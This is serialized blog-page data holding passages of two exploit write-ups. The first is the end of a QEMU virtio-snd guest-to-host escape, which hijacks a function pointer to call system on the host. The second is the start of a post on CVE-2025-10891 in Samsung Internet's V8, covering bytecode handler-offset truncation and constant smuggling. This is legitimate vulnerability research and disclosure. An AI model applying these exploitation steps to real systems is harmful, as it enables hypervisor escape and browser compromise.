}\n}\n",[132790],{"type":22,"tag":257,"props":132791,"children":132792},{"__ignoreMap":7},[132793,132826,132833,132888,132925,132932,132939,132946,132967,132974,132981,132988],{"type":22,"tag":264,"props":132794,"children":132795},{"class":1534,"line":1535},[132796,132800,132804,132809,132814,132818,132822],{"type":22,"tag":264,"props":132797,"children":132798},{"style":4293},[132799],{"type":27,"value":52365},{"type":22,"tag":264,"props":132801,"children":132802},{"style":4293},[132803],{"type":27,"value":52370},{"type":22,"tag":264,"props":132805,"children":132806},{"style":4401},[132807],{"type":27,"value":132808}," virtio_queue_notify_vq",{"type":22,"tag":264,"props":132810,"children":132811},{"style":1539},[132812],{"type":27,"value":132813},"(VirtQueue ",{"type":22,"tag":264,"props":132815,"children":132816},{"style":4309},[132817],{"type":27,"value":5865},{"type":22,"tag":264,"props":132819,"children":132820},{"style":1549},[132821],{"type":27,"value":125172},{"type":22,"tag":264,"props":132823,"children":132824},{"style":1539},[132825],{"type":27,"value":4463},{"type":22,"tag":264,"props":132827,"children":132828},{"class":1534,"line":1545},[132829],{"type":22,"tag":264,"props":132830,"children":132831},{"style":1539},[132832],{"type":27,"value":1542},{"type":22,"tag":264,"props":132834,"children":132835},{"class":1534,"line":1560},[132836,132840,132844,132848,132852,132857,132861,132866,132870,132875,132879,132884],{"type":22,"tag":264,"props":132837,"children":132838},{"style":4328},[132839],{"type":27,"value":13578},{"type":22,"tag":264,"props":132841,"children":132842},{"style":1539},[132843],{"type":27,"value":4370},{"type":22,"tag":264,"props":132845,"children":132846},{"style":1549},[132847],{"type":27,"value":125172},{"type":22,"tag":264,"props":132849,"children":132850},{"style":1539},[132851],{"type":27,"value":15056},{"type":22,"tag":264,"props":132853,"children":132854},{"style":1549},[132855],{"type":27,"value":132856},"vring",{"type":22,"tag":264,"props":132858,"children":132859},{"style":1539},[132860],{"type":27,"value":210},{"type":22,"tag":264,"props":132862,"children":132863},{"style":1549},[132864],{"type":27,"value":132865},"desc",{"type":22,"tag":264,"props":132867,"children":132868},{"style":4309},[132869],{"type":27,"value":15484},{"type":22,"tag":264,"props":132871,"children":132872},{"style":1549},[132873],{"type":27,"value":132874}," vq",{"type":22,"tag":264,"props":132876,"children":132877},{"style":1539},[132878],{"type":27,"value":15056},{"type":22,"tag":264,"props":132880,"children":132881},{"style":1549},[132882],{"type":27,"value":132883},"handle_output",{"type":22,"tag":264,"props":132885,"children":132886},{"style":1539},[132887],{"type":27,"value":16103},{"type":22,"tag":264,"props":132889,"children":132890},{"class":1534,"line":1569},[132891,132896,132900,132905,132909,132913,132917,132921],{"type":22,"tag":264,"props":132892,"children":132893},{"style":1539},[132894],{"type":27,"value":132895},"        VirtIODevice ",{"type":22,"tag":264,"props":132897,"children":132898},{"style":4309},[132899],{"type":27,"value":5865},{"type":22,"tag":264,"props":132901,"children":132902},{"style":1539},[132903],{"type":27,"value":132904},"vdev ",{"type":22,"tag":264,"props":132906,"children":132907},{"style":4309},[132908],{"type":27,"value":429},{"type":22,"tag":264,"props":132910,"children":132911},{"style":1549},[132912],{"type":27,"value":132874},{"type":22,"tag":264,"props":132914,"children":132915},{"style":1539},[132916],{"type":27,"value":15056},{"type":22,"tag":264,"props":132918,"children":132919},{"style":1549},[132920],{"type":27,"value":125158},{"type":22,"tag":264,"props":132922,"children":132923},{"style":1539},[132924],{"type":27,"value":4322},{"type":22,"tag":264,"props":132926,"children":132927},{"class":1534,"line":1583},[132928],{"type":22,"tag":264,"props":132929,"children":132930},{"emptyLinePlaceholder":17},[132931],{"type":27,"value":4986},{"type":22,"tag":264,"props":132933,"children":132934},{"class":1534,"line":1603},[132935],{"type":22,"tag":264,"props":132936,"children":132937},{"style":1539},[132938],{"type":27,"value":125339},{"type":22,"tag":264,"props":132940,"children":132941},{"class":1534,"line":1612},[132942],{"type":22,"tag":264,"props":132943,"children":132944},{"emptyLinePlaceholder":17},[132945],{"type":27,"value":4986},{"type":22,"tag":264,"props":132947,"children":132948},{"class":1534,"line":1621},[132949,132954,132958,132962],{"type":22,"tag":264,"props":132950,"children":132951},{"style":1549},[132952],{"type":27,"value":132953},"        vq",{"type":22,"tag":264,"props":132955,"children":132956},{"style":1539},[132957],{"type":27,"value":15056},{"type":22,"tag":264,"props":132959,"children":132960},{"style":4401},[132961],{"type":27,"value":132883},{"type":22,"tag":264,"props":132963,"children":132964},{"style":1539},[132965],{"type":27,"value":132966},"(vdev, vq);\n",{"type":22,"tag":264,"props":132968,"children":132969},{"class":1534,"line":1629},[132970],{"type":22,"tag":264,"props":132971,"children":132972},{"emptyLinePlaceholder":17},[132973],{"type":27,"value":4986},{"type":22,"tag":264,"props":132975,"children":132976},{"class":1534,"line":1642},[132977],{"type":22,"tag":264,"props":132978,"children":132979},{"style":1539},[132980],{"type":27,"value":125339},{"type":22,"tag":264,"props":132982,"children":132983},{"class":1534,"line":1660},[132984],{"type":22,"tag":264,"props":132985,"children":132986},{"style":1539},[132987],{"type":27,"value":1674},{"type":22,"tag":264,"props":132989,"children":132990},{"class":1534,"line":1668},[132991],{"type":22,"tag":264,"props":132992,"children":132993},{"style":1539},[132994],{"type":27,"value":1692},{"type":22,"tag":23,"props":132996,"children":132997},{},[132998,133000,133005,133007,133012,133014,133020,133022,133027,133028,133033,133035,133040],{"type":27,"value":132999},"This means that if we free the known-address chunk and replace it with a ",{"type":22,"tag":257,"props":133001,"children":133003},{"className":133002},[],[133004],{"type":27,"value":125825},{"type":27,"value":133006}," - which is straightforward, since we control the buffer allocation size through the ",{"type":22,"tag":257,"props":133008,"children":133010},{"className":133009},[],[133011],{"type":27,"value":125413},{"type":27,"value":133013}," iovec - we can use the arbitrary read primitive to read its ",{"type":22,"tag":257,"props":133015,"children":133017},{"className":133016},[],[133018],{"type":27,"value":133019},".vq",{"type":27,"value":133021}," pointer, then follow that pointer to leak ",{"type":22,"tag":257,"props":133023,"children":133025},{"className":133024},[],[133026],{"type":27,"value":132775},{"type":27,"value":17353},{"type":22,"tag":257,"props":133029,"children":133031},{"className":133030},[],[133032],{"type":27,"value":132677},{"type":27,"value":133034}," structure. In our case, that field points to ",{"type":22,"tag":257,"props":133036,"children":133038},{"className":133037},[],[133039],{"type":27,"value":125065},{"type":27,"value":133041},", which gives us QEMU's base address.",{"type":22,"tag":23,"props":133043,"children":133044},{},[133045,133047,133053],{"type":27,"value":133046},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":22,"tag":257,"props":133048,"children":133050},{"className":133049},[],[133051],{"type":27,"value":133052},"system",{"type":27,"value":210},{"type":22,"tag":181,"props":133055,"children":133057},{"id":133056},"rip-control",[133058],{"type":27,"value":133059},"RIP Control",{"type":22,"tag":23,"props":133061,"children":133062},{},[133063,133065,133070,133072,133078],{"type":27,"value":133064},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":22,"tag":257,"props":133066,"children":133068},{"className":133067},[],[133069],{"type":27,"value":133052},{"type":27,"value":133071},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":22,"tag":257,"props":133073,"children":133075},{"className":133074},[],[133076],{"type":27,"value":133077},"VirtQueue.handle_output",{"type":27,"value":210},{"type":22,"tag":23,"props":133080,"children":133081},{},[133082,133084,133089,133091,133096,133098,133103],{"type":27,"value":133083},"We overwrite ",{"type":22,"tag":257,"props":133085,"children":133087},{"className":133086},[],[133088],{"type":27,"value":132775},{"type":27,"value":133090}," with the address of ",{"type":22,"tag":257,"props":133092,"children":133094},{"className":133093},[],[133095],{"type":27,"value":133052},{"type":27,"value":133097}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":22,"tag":257,"props":133099,"children":133101},{"className":133100},[],[133102],{"type":27,"value":132783},{"type":27,"value":133104}," with the address of that command string, so it is passed as the first argument.",{"type":22,"tag":23,"props":133106,"children":133107},{},[133108,133110,133116,133118,133124,133126,133132],{"type":27,"value":133109},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":22,"tag":257,"props":133111,"children":133113},{"className":133112},[],[133114],{"type":27,"value":133115},"virtio_queue_notify_vq",{"type":27,"value":133117},", which calls ",{"type":22,"tag":257,"props":133119,"children":133121},{"className":133120},[],[133122],{"type":27,"value":133123},"vq->handle_output(vq->vdev)",{"type":27,"value":133125}," - or, after our overwrites, ",{"type":22,"tag":257,"props":133127,"children":133129},{"className":133128},[],[133130],{"type":27,"value":133131},"system(command)",{"type":27,"value":210},{"type":22,"tag":23,"props":133134,"children":133135},{},[133136,133138,133144,133146],{"type":27,"value":133137},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":22,"tag":257,"props":133139,"children":133141},{"className":133140},[],[133142],{"type":27,"value":133143},"gnome-calculator",{"type":27,"value":133145}," on the host system:\n",{"type":22,"tag":32283,"props":133147,"children":133148},{},[],{"type":22,"tag":133150,"props":133151,"children":133160},"tweet-card",{"author-name":133152,"date":133153,"duration":133154,"handle":133155,"media-mime-type":133156,"media-src":133157,"media-type":133158,"tweet-url":133159},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[133161,133166,133171],{"type":22,"tag":23,"props":133162,"children":133163},{},[133164],{"type":27,"value":133165},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":22,"tag":23,"props":133167,"children":133168},{},[133169],{"type":27,"value":133170},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":22,"tag":23,"props":133172,"children":133173},{},[133174],{"type":27,"value":133175},"Writeup coming next week.",{"type":22,"tag":32283,"props":133177,"children":133178},{},[],{"type":22,"tag":23,"props":133180,"children":133181},{},[133182,133184,133190,133192,133198],{"type":27,"value":133183},"The final exploit, targeting QEMU commit ",{"type":22,"tag":257,"props":133185,"children":133187},{"className":133186},[],[133188],{"type":27,"value":133189},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":27,"value":133191}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":22,"tag":69,"props":133193,"children":133196},{"href":133194,"rel":133195},"https://github.com/otter-sec/qemu-escape",[73],[133197],{"type":27,"value":48904},{"type":27,"value":210},{"type":22,"tag":23,"props":133200,"children":133201},{},[133202,133204,133211],{"type":27,"value":133203},"Special thanks to ",{"type":22,"tag":69,"props":133205,"children":133208},{"href":133206,"rel":133207},"https://www.willsroot.io/",[73],[133209],{"type":27,"value":133210},"William Liu",{"type":27,"value":133212}," for proofreading this post and helping us polish it before publication.",{"type":22,"tag":169,"props":133214,"children":133215},{"id":30246},[133216],{"type":27,"value":20252},{"type":22,"tag":23,"props":133218,"children":133219},{},[133220],{"type":27,"value":133221},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":22,"tag":23,"props":133223,"children":133224},{},[133225],{"type":27,"value":133226},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":22,"tag":4139,"props":133228,"children":133229},{},[133230],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":133232},[133233,133236,133239,133248],{"id":124961,"depth":1545,"text":124974,"children":133234},[133235],{"id":124982,"depth":1560,"text":124985},{"id":125006,"depth":1545,"text":125009,"children":133237},[133238],{"id":125020,"depth":1560,"text":125020},{"id":101429,"depth":1545,"text":101432,"children":133240},[133241,133242,133243,133244,133245,133246,133247],{"id":127612,"depth":1560,"text":127615},{"id":129139,"depth":1560,"text":129142},{"id":129933,"depth":1560,"text":129936},{"id":130338,"depth":1560,"text":130341},{"id":130554,"depth":1560,"text":130557},{"id":130760,"depth":1560,"text":130763},{"id":133056,"depth":1560,"text":133059},{"id":30246,"depth":1545,"text":20252},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":133253,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":133254,"description":133255,"date":133256,"author":133257,"image":133260,"isFeatured":17,"onBlogPage":17,"tags":133262,"body":133265,"_type":4157,"_id":143171,"_source":4159,"_file":143172,"_stem":143173,"_extension":4162},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[124957,133258,133259],"jamie","william",{"src":133261,"width":98589,"height":14922},"/posts/mobile-renderer-rce/title.png",[133263,133264],"RCE","mobile",{"type":19,"children":133266,"toc":143151},[133267,133271,133276,133290,133296,133310,133331,133339,133352,133360,133373,133379,133392,133406,133412,133426,133529,133534,133542,133547,133552,133573,133651,133659,133678,133691,133695,133701,133715,133831,133836,133841,133849,133854,133862,133890,133919,133931,134107,134112,134120,134139,134152,134158,134178,134192,134197,134202,134230,134266,134335,134341,134363,134368,134376,134389,134394,134402,134407,134446,134452,134465,134470,134648,134658,134666,134686,134710,134723,134729,134734,135376,135381,135389,135431,137420,137425,137433,137439,137472,137490,137660,137718,137743,137837,137842,138633,138638,138646,138657,140701,140706,140714,140720,140742,140756,140769,140781,140811,140816,141257,141285,141392,141409,141566,141571,141583,141879,141905,141928,142060,142072,142077,142229,142265,142278,142283,142405,142446,142523,142528,143102,143108,143120,143133,143137,143142,143147],{"type":22,"tag":169,"props":133268,"children":133269},{"id":30329},[133270],{"type":27,"value":30332},{"type":22,"tag":23,"props":133272,"children":133273},{},[133274],{"type":27,"value":133275},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":22,"tag":23,"props":133277,"children":133278},{},[133279,133281,133288],{"type":27,"value":133280},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":22,"tag":69,"props":133282,"children":133285},{"href":133283,"rel":133284},"https://cor.team",[73],[133286],{"type":27,"value":133287},"Crusaders of Rust",{"type":27,"value":133289}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":22,"tag":181,"props":133291,"children":133293},{"id":133292},"finding-the-v8-version",[133294],{"type":27,"value":133295},"Finding the V8 Version",{"type":22,"tag":23,"props":133297,"children":133298},{},[133299,133301,133308],{"type":27,"value":133300},"We started by pulling Samsung Internet's APK from the device over ",{"type":22,"tag":69,"props":133302,"children":133305},{"href":133303,"rel":133304},"https://developer.android.com/tools/adb",[73],[133306],{"type":27,"value":133307},"adb",{"type":27,"value":133309}," and inspecting the libraries it shipped with.",{"type":22,"tag":23,"props":133311,"children":133312},{},[133313,133315,133321,133323,133329],{"type":27,"value":133314},"After extracting the APK, we searched the ",{"type":22,"tag":257,"props":133316,"children":133318},{"className":133317},[],[133319],{"type":27,"value":133320},"lib/",{"type":27,"value":133322}," directory for ",{"type":22,"tag":257,"props":133324,"children":133326},{"className":133325},[],[133327],{"type":27,"value":133328},"v8::*",{"type":27,"value":133330}," symbols:",{"type":22,"tag":618,"props":133332,"children":133334},{"code":133333},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[133335],{"type":22,"tag":257,"props":133336,"children":133337},{"__ignoreMap":7},[133338],{"type":27,"value":133333},{"type":22,"tag":23,"props":133340,"children":133341},{},[133342,133344,133350],{"type":27,"value":133343},"Only one file matched our search: ",{"type":22,"tag":257,"props":133345,"children":133347},{"className":133346},[],[133348],{"type":27,"value":133349},"libterrace.so",{"type":27,"value":133351},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":22,"tag":23,"props":133353,"children":133354},{},[133355],{"type":22,"tag":215,"props":133356,"children":133359},{"alt":133357,"src":133358},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":22,"tag":23,"props":133361,"children":133362},{},[133363,133365,133371],{"type":27,"value":133364},"Surprisingly, this ",{"type":22,"tag":257,"props":133366,"children":133368},{"className":133367},[],[133369],{"type":27,"value":133370},"13.6.233.10",{"type":27,"value":133372}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":22,"tag":181,"props":133374,"children":133376},{"id":133375},"choosing-the-bug",[133377],{"type":27,"value":133378},"Choosing the Bug",{"type":22,"tag":23,"props":133380,"children":133381},{},[133382,133384,133390],{"type":27,"value":133383},"We were able to trigger a couple of bugs on our locally compiled ",{"type":22,"tag":257,"props":133385,"children":133387},{"className":133386},[],[133388],{"type":27,"value":133389},"d8",{"type":27,"value":133391}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":22,"tag":23,"props":133393,"children":133394},{},[133395,133397,133404],{"type":27,"value":133396},"Another one was ",{"type":22,"tag":69,"props":133398,"children":133401},{"href":133399,"rel":133400},"https://issuetracker.google.com/issues/443875388",[73],[133402],{"type":27,"value":133403},"CVE-2025-10891",{"type":27,"value":133405}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":22,"tag":169,"props":133407,"children":133409},{"id":133408},"ignition-bytecode-introduction",[133410],{"type":27,"value":133411},"Ignition Bytecode Introduction",{"type":22,"tag":23,"props":133413,"children":133414},{},[133415,133417,133424],{"type":27,"value":133416},"V8 initially compiles all JS code to a bytecode format with the ",{"type":22,"tag":69,"props":133418,"children":133421},{"href":133419,"rel":133420},"https://v8.dev/blog/ignition-interpreter",[73],[133422],{"type":27,"value":133423},"Ignition",{"type":27,"value":133425}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":22,"tag":618,"props":133427,"children":133429},{"code":133428,"language":32680,"meta":7,"className":32678,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[133430],{"type":22,"tag":257,"props":133431,"children":133432},{"__ignoreMap":7},[133433,133456,133480,133504],{"type":22,"tag":264,"props":133434,"children":133435},{"class":1534,"line":1535},[133436,133440,133444,133448,133452],{"type":22,"tag":264,"props":133437,"children":133438},{"style":4293},[133439],{"type":27,"value":13086},{"type":22,"tag":264,"props":133441,"children":133442},{"style":1549},[133443],{"type":27,"value":91159},{"type":22,"tag":264,"props":133445,"children":133446},{"style":4309},[133447],{"type":27,"value":4312},{"type":22,"tag":264,"props":133449,"children":133450},{"style":4344},[133451],{"type":27,"value":5817},{"type":22,"tag":264,"props":133453,"children":133454},{"style":1539},[133455],{"type":27,"value":4322},{"type":22,"tag":264,"props":133457,"children":133458},{"class":1534,"line":1545},[133459,133463,133467,133471,133476],{"type":22,"tag":264,"props":133460,"children":133461},{"style":4293},[133462],{"type":27,"value":13086},{"type":22,"tag":264,"props":133464,"children":133465},{"style":1549},[133466],{"type":27,"value":92033},{"type":22,"tag":264,"props":133468,"children":133469},{"style":4309},[133470],{"type":27,"value":4312},{"type":22,"tag":264,"props":133472,"children":133473},{"style":4344},[133474],{"type":27,"value":133475}," 0x0fff",{"type":22,"tag":264,"props":133477,"children":133478},{"style":1539},[133479],{"type":27,"value":4322},{"type":22,"tag":264,"props":133481,"children":133482},{"class":1534,"line":1560},[133483,133487,133491,133495,133500],{"type":22,"tag":264,"props":133484,"children":133485},{"style":4293},[133486],{"type":27,"value":13086},{"type":22,"tag":264,"props":133488,"children":133489},{"style":1549},[133490],{"type":27,"value":38759},{"type":22,"tag":264,"props":133492,"children":133493},{"style":4309},[133494],{"type":27,"value":4312},{"type":22,"tag":264,"props":133496,"children":133497},{"style":4344},[133498],{"type":27,"value":133499}," 0x0fffffff",{"type":22,"tag":264,"props":133501,"children":133502},{"style":1539},[133503],{"type":27,"value":4322},{"type":22,"tag":264,"props":133505,"children":133506},{"class":1534,"line":1569},[133507,133511,133516,133520,133525],{"type":22,"tag":264,"props":133508,"children":133509},{"style":4293},[133510],{"type":27,"value":13086},{"type":22,"tag":264,"props":133512,"children":133513},{"style":1549},[133514],{"type":27,"value":133515}," d",{"type":22,"tag":264,"props":133517,"children":133518},{"style":4309},[133519],{"type":27,"value":4312},{"type":22,"tag":264,"props":133521,"children":133522},{"style":4344},[133523],{"type":27,"value":133524}," 0xffffffff",{"type":22,"tag":264,"props":133526,"children":133527},{"style":1539},[133528],{"type":27,"value":4322},{"type":22,"tag":23,"props":133530,"children":133531},{},[133532],{"type":27,"value":133533},"compiles to",{"type":22,"tag":618,"props":133535,"children":133537},{"code":133536}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[133538],{"type":22,"tag":257,"props":133539,"children":133540},{"__ignoreMap":7},[133541],{"type":27,"value":133536},{"type":22,"tag":23,"props":133543,"children":133544},{},[133545],{"type":27,"value":133546},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":22,"tag":181,"props":133548,"children":133550},{"id":133549},"cve-2025-10891",[133551],{"type":27,"value":133403},{"type":22,"tag":23,"props":133553,"children":133554},{},[133555,133557,133563,133565,133571],{"type":27,"value":133556},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":22,"tag":257,"props":133558,"children":133560},{"className":133559},[],[133561],{"type":27,"value":133562},"[start, end) => handler",{"type":27,"value":133564}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":22,"tag":257,"props":133566,"children":133568},{"className":133567},[],[133569],{"type":27,"value":133570},"handler",{"type":27,"value":133572}," is jumped to.",{"type":22,"tag":618,"props":133574,"children":133576},{"code":133575,"language":32680,"meta":7,"className":32678,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[133577],{"type":22,"tag":257,"props":133578,"children":133579},{"__ignoreMap":7},[133580,133591,133606,133621,133644],{"type":22,"tag":264,"props":133581,"children":133582},{"class":1534,"line":1535},[133583,133587],{"type":22,"tag":264,"props":133584,"children":133585},{"style":4328},[133586],{"type":27,"value":49651},{"type":22,"tag":264,"props":133588,"children":133589},{"style":1539},[133590],{"type":27,"value":4594},{"type":22,"tag":264,"props":133592,"children":133593},{"class":1534,"line":1545},[133594,133598,133602],{"type":22,"tag":264,"props":133595,"children":133596},{"style":4328},[133597],{"type":27,"value":36516},{"type":22,"tag":264,"props":133599,"children":133600},{"style":4344},[133601],{"type":27,"value":5817},{"type":22,"tag":264,"props":133603,"children":133604},{"style":1539},[133605],{"type":27,"value":4322},{"type":22,"tag":264,"props":133607,"children":133608},{"class":1534,"line":1560},[133609,133613,133617],{"type":22,"tag":264,"props":133610,"children":133611},{"style":1539},[133612],{"type":27,"value":48193},{"type":22,"tag":264,"props":133614,"children":133615},{"style":4328},[133616],{"type":27,"value":49731},{"type":22,"tag":264,"props":133618,"children":133619},{"style":1539},[133620],{"type":27,"value":4594},{"type":22,"tag":264,"props":133622,"children":133623},{"class":1534,"line":1569},[133624,133628,133632,133636,133640],{"type":22,"tag":264,"props":133625,"children":133626},{"style":4293},[133627],{"type":27,"value":9149},{"type":22,"tag":264,"props":133629,"children":133630},{"style":1549},[133631],{"type":27,"value":92033},{"type":22,"tag":264,"props":133633,"children":133634},{"style":4309},[133635],{"type":27,"value":4312},{"type":22,"tag":264,"props":133637,"children":133638},{"style":4344},[133639],{"type":27,"value":9228},{"type":22,"tag":264,"props":133641,"children":133642},{"style":1539},[133643],{"type":27,"value":4322},{"type":22,"tag":264,"props":133645,"children":133646},{"class":1534,"line":1583},[133647],{"type":22,"tag":264,"props":133648,"children":133649},{"style":1539},[133650],{"type":27,"value":1692},{"type":22,"tag":618,"props":133652,"children":133654},{"code":133653}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[133655],{"type":22,"tag":257,"props":133656,"children":133657},{"__ignoreMap":7},[133658],{"type":27,"value":133653},{"type":22,"tag":23,"props":133660,"children":133661},{},[133662,133664,133669,133671,133676],{"type":27,"value":133663},"However, the ",{"type":22,"tag":257,"props":133665,"children":133667},{"className":133666},[],[133668],{"type":27,"value":133570},{"type":27,"value":133670}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":22,"tag":257,"props":133672,"children":133674},{"className":133673},[],[133675],{"type":27,"value":49731},{"type":27,"value":133677}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":22,"tag":23,"props":133679,"children":133680},{},[133681,133683,133689],{"type":27,"value":133682},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":22,"tag":257,"props":133684,"children":133686},{"className":133685},[],[133687],{"type":27,"value":133688},"yield*",{"type":27,"value":133690}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":22,"tag":169,"props":133692,"children":133693},{"id":1707},[133694],{"type":27,"value":1710},{"type":22,"tag":181,"props":133696,"children":133698},{"id":133697},"constant-smuggling",[133699],{"type":27,"value":133700},"Constant Smuggling",{"type":22,"tag":23,"props":133702,"children":133703},{},[133704,133706,133713],{"type":27,"value":133705},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":22,"tag":69,"props":133707,"children":133710},{"href":133708,"rel":133709},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[73],[133711],{"type":27,"value":133712},"technique",{"type":27,"value":133714}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":22,"tag":618,"props":133716,"children":133718},{"code":133717,"language":32680,"meta":7,"className":32678,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[133719],{"type":22,"tag":257,"props":133720,"children":133721},{"__ignoreMap":7},[133722,133750,133777,133804],{"type":22,"tag":264,"props":133723,"children":133724},{"class":1534,"line":1535},[133725,133729,133733,133737,133741,133746],{"type":22,"tag":264,"props":133726,"children":133727},{"style":4293},[133728],{"type":27,"value":13086},{"type":22,"tag":264,"props":133730,"children":133731},{"style":1549},[133732],{"type":27,"value":91159},{"type":22,"tag":264,"props":133734,"children":133735},{"style":4309},[133736],{"type":27,"value":4312},{"type":22,"tag":264,"props":133738,"children":133739},{"style":4309},[133740],{"type":27,"value":52576},{"type":22,"tag":264,"props":133742,"children":133743},{"style":4344},[133744],{"type":27,"value":133745},"9.255963134931783e61",{"type":22,"tag":264,"props":133747,"children":133748},{"style":1539},[133749],{"type":27,"value":4322},{"type":22,"tag":264,"props":133751,"children":133752},{"class":1534,"line":1545},[133753,133757,133761,133765,133769,133773],{"type":22,"tag":264,"props":133754,"children":133755},{"style":4293},[133756],{"type":27,"value":13086},{"type":22,"tag":264,"props":133758,"children":133759},{"style":1549},[133760],{"type":27,"value":92033},{"type":22,"tag":264,"props":133762,"children":133763},{"style":4309},[133764],{"type":27,"value":4312},{"type":22,"tag":264,"props":133766,"children":133767},{"style":4309},[133768],{"type":27,"value":52576},{"type":22,"tag":264,"props":133770,"children":133771},{"style":4344},[133772],{"type":27,"value":133745},{"type":22,"tag":264,"props":133774,"children":133775},{"style":1539},[133776],{"type":27,"value":4322},{"type":22,"tag":264,"props":133778,"children":133779},{"class":1534,"line":1560},[133780,133784,133788,133792,133796,133800],{"type":22,"tag":264,"props":133781,"children":133782},{"style":4293},[133783],{"type":27,"value":13086},{"type":22,"tag":264,"props":133785,"children":133786},{"style":1549},[133787],{"type":27,"value":38759},{"type":22,"tag":264,"props":133789,"children":133790},{"style":4309},[133791],{"type":27,"value":4312},{"type":22,"tag":264,"props":133793,"children":133794},{"style":4309},[133795],{"type":27,"value":52576},{"type":22,"tag":264,"props":133797,"children":133798},{"style":4344},[133799],{"type":27,"value":133745},{"type":22,"tag":264,"props":133801,"children":133802},{"style":1539},[133803],{"type":27,"value":4322},{"type":22,"tag":264,"props":133805,"children":133806},{"class":1534,"line":1569},[133807,133811,133815,133819,133823,133827],{"type":22,"tag":264,"props":133808,"children":133809},{"style":4293},[133810],{"type":27,"value":13086},{"type":22,"tag":264,"props":133812,"children":133813},{"style":1549},[133814],{"type":27,"value":133515},{"type":22,"tag":264,"props":133816,"children":133817},{"style":4309},[13381